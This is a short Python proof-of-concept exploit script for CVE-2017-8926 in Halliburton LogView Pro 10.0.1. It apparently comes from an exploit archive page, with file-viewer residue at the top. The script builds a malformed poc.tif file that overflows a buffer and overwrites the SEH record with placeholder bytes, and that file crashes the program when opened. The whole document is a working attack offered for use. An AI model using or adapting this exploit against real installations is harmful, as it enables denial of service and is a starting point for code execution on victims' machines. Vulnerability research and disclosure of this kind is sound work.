21 lines
No EOL
834 B
Python
Executable file
21 lines
No EOL
834 B
Python
Executable file
#!/usr/bin/python
|
|
# Exploit Title : Halliburton LogView Pro 10.0.1 - Local Buffer Overflow (SEH)
|
|
# Date : 2017-05-14
|
|
# Exploit Author : Muhann4d
|
|
# CVE : CVE-2017-8926
|
|
# Vendor Homepage : http://www.halliburton.com
|
|
# Software Link : http://www.halliburton.com/public/lp/contents/Interactive_Tools/web/Toolkits/lp/Halliburton_Log_Viewer.exe
|
|
# Affected Versions : 10.0.1
|
|
# Category : Denial of Service (DoS) Local
|
|
# Tested on OS : Windows 7 Professional SP1 32bit
|
|
# Proof of Concept : run the exploit, open the poc.tif file with the Halliburton LogView Pro 10.0.1
|
|
|
|
# Vendor has been cantacted but no reply.
|
|
|
|
buf = "\x41" * 848
|
|
buff = "\x42" * 4
|
|
bufff = "\x43" * 4
|
|
buffff = "\x44" * 9999
|
|
f = open ("poc.tif", "w")
|
|
f.write(buf + buff + bufff + buffff)
|
|
f.close() |